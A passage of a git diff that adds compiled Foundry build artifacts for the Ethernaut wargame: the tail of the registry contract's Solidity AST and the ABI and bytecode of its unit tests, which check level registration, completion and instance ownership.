Level"}],"id":49077,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3080:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49076,"name":"address","nodeType":"ElementaryTypeName","src":"3080:7:38","typeDescriptions":{}}},"id":49080,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3080:19:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"id":49072,"name":"LevelCompletedLog","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48956,"src":"3039:17:38","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address)"}},"id":49081,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3039:61:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49082,"nodeType":"EmitStatement","src":"3034:66:38"}]}}]},"functionSelector":"c882d7c2","implemented":true,"kind":"function","modifiers":[],"name":"submitLevelInstance","nameLocation":"2304:19:38","parameters":{"id":49020,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49019,"mutability":"mutable","name":"_instance","nameLocation":"2340:9:38","nodeType":"VariableDeclaration","scope":49100,"src":"2324:25:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":49018,"name":"address","nodeType":"ElementaryTypeName","src":"2324:15:38","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"2323:27:38"},"returnParameters":{"id":49021,"nodeType":"ParameterList","parameters":[],"src":"2358:0:38"},"scope":49101,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":48878,"name":"Ownable","nameLocations":["512:7:38"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"512:7:38"},"id":48879,"nodeType":"InheritanceSpecifier","src":"512:7:38"}],"canonicalName":"Ethernaut","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49101,46700,48281],"name":"Ethernaut","nameLocation":"499:9:38","scope":49102,"usedErrors":[],"usedEvents":[46601,48948,48956]}],"license":"MIT"},"id":38} \ No newline at end of file diff --git a/contracts/out/Ethernaut.t.sol/TestEthernaut.json b/contracts/out/Ethernaut.t.sol/TestEthernaut.json new file mode 100644 index 000000000..ac7df416c --- /dev/null +++ b/contracts/out/Ethernaut.t.sol/TestEthernaut.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testDoubleCompletion","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testLevelCompletion","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testLevelNonCompletion","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testManufactureInstance","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testNonRegisteredLevel","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testUploadLevel","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testUseOtherPlayerInstance","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x6080604052600c8054600160ff199182168117909255601e8054909116909117905534801561002c575f80fd5b5061ce47806200003b5f395ff3fe608060405234801562000010575f80fd5b506004361062000164575f3560e01c80636aeac89111620000d7578063ba414fa61162000087578063da146abe116200006b578063da146abe1462000260578063e20c9f71146200026a578063fa7626d41462000274575f80fd5b8063ba414fa6146200023b578063c42b6c611462000256575f80fd5b8063916a17c611620000bb578063916a17c6146200021d578063984e57031462000227578063b5508aa91462000231575f80fd5b80636aeac89114620001fa57806385226c811462000204575f80fd5b8063306d664e11620001335780633f7286f411620001175780633f7286f414620001cd5780634be4555614620001d757806366d9a9a014620001e1575f80fd5b8063306d664e14620001b95780633e5e3c2314620001c3575f80fd5b80630a9254e414620001685780631ed7831c14620001745780632ade388014620001965780632c60fe9614620001af575b5f80fd5b6200017262000282565b005b6200017e6200080c565b6040516200018d919062002c89565b60405180910390f35b620001a06200086e565b6040516200018d919062002cfb565b62000172620009b6565b6200017262000eef565b6200017e62000ff6565b6200017e62001056565b62000172620010b6565b620001eb6200166e565b6040516200018d919062002dd9565b6200017262001768565b6200020e620019fc565b6040516200018d919062002ea6565b620001eb62001ad1565b6200017262001bcb565b6200020e62001ec0565b6200024562001f95565b60405190151581526020016200018d565b6200017262002069565b620001726200256d565b6200017e62002afc565b601e54620002459060ff1681565b604051620002909062002c27565b604051809103905ff080158015620002aa573d5f803e3d5ffd5b50602080546001600160a01b0319166001600160a01b039290921691821790556040517f792e11f5000000000000000000000000000000000000000000000000000000008152600360048201525f919063792e11f5906024015f604051808303815f875af11580156200031f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000348919081019062002fc4565b9050805f815181106200035f576200035f6200306a565b6020908102919091010151602180546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f55736572203100000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b15801562000407575f80fd5b505af11580156200041a573d5f803e3d5ffd5b50505050806001815181106200043457620004346200306a565b6020908102919091010151602280546001600160a01b0319166001600160a01b03928316179055602154604080516318caf8e360e31b81529190921660048201526024810191909152600660448201527f55736572203200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004e1575f80fd5b505af1158015620004f4573d5f803e3d5ffd5b50505050806002815181106200050e576200050e6200306a565b6020908102919091010151602380546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620005b6575f80fd5b505af1158015620005c9573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000624575f80fd5b505af115801562000637573d5f803e3d5ffd5b50505050604051620006499062002c35565b604051809103905ff08015801562000663573d5f803e3d5ffd5b50601e60016101000a8154816001600160a01b0302191690836001600160a01b03160217905550604051620006989062002c43565b604051809103905ff080158015620006b2573d5f803e3d5ffd5b50602354601e546040516001600160a01b039283169261010090920490911690620006dd9062002c51565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562000717573d5f803e3d5ffd5b50601f80546001600160a01b0319166001600160a01b03928316908117909155601e546040517fbe117dfd000000000000000000000000000000000000000000000000000000008152600481019290925261010090049091169063be117dfd906024015f604051808303815f87803b15801562000792575f80fd5b505af1158015620007a5573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007f2575f80fd5b505af115801562000805573d5f803e3d5ffd5b5050505050565b606060168054806020026020016040519081016040528092919081815260200182805480156200086457602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000845575b5050505050905090565b6060601d805480602002602001604051908101604052809291908181526020015f905b82821015620009ad575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000995578382905f5260205f2001805462000903906200307e565b80601f016020809104026020016040519081016040528092919081815260200182805462000931906200307e565b8015620009805780601f10620009565761010080835404028352916020019162000980565b820191905f5260205f20905b8154815290600101906020018083116200096257829003601f168201915b505050505081526020019060010190620008e3565b50505050815250508152602001906001019062000891565b50505050905090565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562000a0d575f80fd5b505af115801562000a20573d5f803e3d5ffd5b505050505f60405162000a339062002c5f565b604051809103905ff08015801562000a4d573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b15801562000a9c575f80fd5b505af115801562000aaf573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000afc575f80fd5b505af115801562000b0f573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000b6a575f80fd5b505af115801562000b7d573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b03858116600483015262000bfc9450909116915063f3a39909906024015b602060405180830381865afa15801562000bd0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000bf69190620030b8565b62002b5c565b5f805160206200cdf28339815191525f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000c45575f80fd5b505af115801562000c58573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b15801562000ca7575f80fd5b505af115801562000cba573d5f803e3d5ffd5b505050505f5f805160206200cdf28339815191525f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000d0c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000d35919081019062003164565b90505f815f8151811062000d4d5762000d4d6200306a565b60200260200101515f015160028151811062000d6d5762000d6d6200306a565b60200260200101515f1c90505f81905062000dea816001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000dbe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000de49190620030b8565b62002bd4565b601f5460215460405163e2d8716f60e01b81526001600160a01b039182166004820152868216602482015262000e4592919091169063e2d8716f906044015b602060405180830381865afa15801562000dbe573d5f803e3d5ffd5b601e546040516364416be160e11b81526001600160a01b0384811660048301526101009092049091169063c882d7c2906024015f604051808303815f87803b15801562000e90575f80fd5b505af115801562000ea3573d5f803e3d5ffd5b5050601f5460215460405163e2d8716f60e01b81526001600160a01b039182166004820152888216602482015262000ee994509116915063e2d8716f9060440162000e29565b50505050565b5f60405162000efe9062002c5f565b604051809103905ff08015801562000f18573d5f803e3d5ffd5b5060405163f28dceb360e01b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015f604051808303815f87803b15801562000f94575f80fd5b505af115801562000fa7573d5f803e3d5ffd5b5050601e5460405163080808f560e21b81526001600160a01b038581166004830152610100909204909116925063202023d491506024015f604051808303815f87803b158015620007f2575f80fd5b606060188054806020026020016040519081016040528092919081815260200182805480156200086457602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000845575050505050905090565b606060178054806020026020016040519081016040528092919081815260200182805480156200086457602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000845575050505050905090565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200110d575f80fd5b505af115801562001120573d5f803e3d5ffd5b505050505f604051620011339062002c5f565b604051809103905ff0801580156200114d573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b1580156200119c575f80fd5b505af1158015620011af573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620011fc575f80fd5b505af11580156200120f573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200126a575f80fd5b505af11580156200127d573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b038581166004830152620012b99450909116915063f3a399099060240162000bb4565b5f805160206200cdf28339815191525f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001302575f80fd5b505af115801562001315573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b15801562001364575f80fd5b505af115801562001377573d5f803e3d5ffd5b505050505f5f805160206200cdf28339815191525f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620013c9573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620013f2919081019062003164565b90505f815f815181106200140a576200140a6200306a565b60200260200101515f01516002815181106200142a576200142a6200306a565b6020908102919091010151604051631ea3e8e760e31b81526001600482015290915081906001600160a01b0382169063f51f4738906024015f604051808303815f87803b1580156200147a575f80fd5b505af11580156200148d573d5f803e3d5ffd5b50505050620014d2816001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000bd0573d5f803e3d5ffd5b601e546040516364416be160e11b81526001600160a01b0384811660048301526101009092049091169063c882d7c2906024015f604051808303815f87803b1580156200151d575f80fd5b505af115801562001530573d5f803e3d5ffd5b5050601f5460215460405163e2d8716f60e01b81526001600160a01b03918216600482015288821660248201526200157694509116915063e2d8716f9060440162000bb4565b60405163f28dceb360e01b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c72656164796044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015b5f604051808303815f87803b158015620015ef575f80fd5b505af115801562001602573d5f803e3d5ffd5b5050601e546040516364416be160e11b81526001600160a01b038681166004830152610100909204909116925063c882d7c291506024015f604051808303815f87803b15801562001651575f80fd5b505af115801562001664573d5f803e3d5ffd5b5050505050505050565b6060601b805480602002602001604051908101604052809291908181526020015f905b82821015620009ad575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200174f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620016fb5790505b5050505050815250508152602001906001019062001691565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017bf575f80fd5b505af1158015620017d2573d5f803e3d5ffd5b505050505f604051620017e59062002c5f565b604051809103905ff080158015620017ff573d5f803e3d5ffd5b5090505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200184b575f80fd5b505af11580156200185e573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b158015620018b9575f80fd5b505af1158015620018cc573d5f803e3d5ffd5b505060405163f28dceb360e01b815260206004820152601960248201527f54686973206c6576656c20646f65736e277420657869737473000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063f28dceb391506064015f604051808303815f87803b15801562001948575f80fd5b505af11580156200195b573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b158015620019aa575f80fd5b505af1158015620019bd573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b038581166004830152620019f99450909116915063f3a399099060240162000e29565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b82821015620009ad578382905f5260205f2001805462001a3f906200307e565b80601f016020809104026020016040519081016040528092919081815260200182805462001a6d906200307e565b801562001abc5780601f1062001a925761010080835404028352916020019162001abc565b820191905f5260205f20905b81548152906001019060200180831162001a9e57829003601f168201915b50505050508152602001906001019062001a1f565b6060601c805480602002602001604051908101604052809291908181526020015f905b82821015620009ad575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562001bb257602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162001b5e5790505b5050505050815250508152602001906001019062001af4565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001c22575f80fd5b505af115801562001c35573d5f803e3d5ffd5b505050505f60405162001c489062002c6d565b604051809103905ff08015801562001c62573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b15801562001cb1575f80fd5b505af115801562001cc4573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001d11575f80fd5b505af115801562001d24573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562001d7f575f80fd5b505af115801562001d92573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b03858116600483015262001dce9450909116915063f3a399099060240162000bb4565b5f60405162001ddd9062002c7b565b604051809103905ff08015801562001df7573d5f803e3d5ffd5b5090505f805160206200cdf28339815191525f1c6001600160a01b031663f48448146040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001e43575f80fd5b505af115801562001e56573d5f803e3d5ffd5b5050601e546040516364416be160e11b81526001600160a01b038581166004830152610100909204909116925063c882d7c291506024015f604051808303815f87803b15801562001ea5575f80fd5b505af115801562001eb8573d5f803e3d5ffd5b505050505050565b60606019805480602002602001604051908101604052809291908181526020015f905b82821015620009ad578382905f5260205f2001805462001f03906200307e565b80601f016020809104026020016040519081016040528092919081815260200182805462001f31906200307e565b801562001f805780601f1062001f565761010080835404028352916020019162001f80565b820191905f5260205f20905b81548152906001019060200180831162001f6257829003601f168201915b50505050508152602001906001019062001ee3565b6008545f9060ff161562001fad575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200203c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620020629190620032e0565b1415905090565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620020c0575f80fd5b505af1158015620020d3573d5f803e3d5ffd5b505050505f604051620020e69062002c5f565b604051809103905ff08015801562002100573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b1580156200214f575f80fd5b505af115801562002162573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620021af575f80fd5b505af1158015620021c2573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200221d575f80fd5b505af115801562002230573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b0385811660048301526200226c9450909116915063f3a399099060240162000bb4565b5f805160206200cdf28339815191525f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620022b5575f80fd5b505af1158015620022c8573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b15801562002317575f80fd5b505af11580156200232a573d5f803e3d5ffd5b505050505f5f805160206200cdf28339815191525f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200237c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620023a5919081019062003164565b90505f815f81518110620023bd57620023bd6200306a565b60200260200101515f0151600281518110620023dd57620023dd6200306a565b6020908102919091010151604051631ea3e8e760e31b81526001600482015290915081906001600160a01b0382169063f51f4738906024015f604051808303815f87803b1580156200242d575f80fd5b505af115801562002440573d5f803e3d5ffd5b5050505062002485816001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000bd0573d5f803e3d5ffd5b601f5460215460405163e2d8716f60e01b81526001600160a01b0391821660048201528682166024820152620024c992919091169063e2d8716f9060440162000e29565b601e546040516364416be160e11b81526001600160a01b0384811660048301526101009092049091169063c882d7c2906024015f604051808303815f87803b15801562002514575f80fd5b505af115801562002527573d5f803e3d5ffd5b5050601f5460215460405163e2d8716f60e01b81526001600160a01b039182166004820152888216602482015262000ee994509116915063e2d8716f9060440162000bb4565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620025c4575f80fd5b505af1158015620025d7573d5f803e3d5ffd5b505050505f604051620025ea9062002c5f565b604051809103905ff08015801562002604573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b15801562002653575f80fd5b505af115801562002666573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620026b3575f80fd5b505af1158015620026c6573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562002721575f80fd5b505af115801562002734573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b038581166004830152620027709450909116915063f3a399099060240162000bb4565b5f805160206200cdf28339815191525f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620027b9575f80fd5b505af1158015620027cc573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b1580156200281b575f80fd5b505af11580156200282e573d5f803e3d5ffd5b505050505f5f805160206200cdf28339815191525f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562002880573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620028a9919081019062003164565b90505f815f81518110620028c157620028c16200306a565b60200260200101515f0151600281518110620028e157620028e16200306a565b6020908102919091010151604051631ea3e8e760e31b81526001600482015290915081906001600160a01b0382169063f51f4738906024015f604051808303815f87803b15801562002931575f80fd5b505af115801562002944573d5f803e3d5ffd5b5050505062002989816001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000bd0573d5f803e3d5ffd5b5f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620029d2575f80fd5b505af1158015620029e5573d5f803e3d5ffd5b50506022546040517fca669fa70000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063ca669fa791506024015f604051808303815f87803b15801562002a59575f80fd5b505af115801562002a6c573d5f803e3d5ffd5b505060405163f28dceb360e01b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e742075736572000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063f28dceb39150608401620015d7565b606060158054806020026020016040519081016040528092919081815260200182805480156200086457602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000845575050505050905090565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f60405180830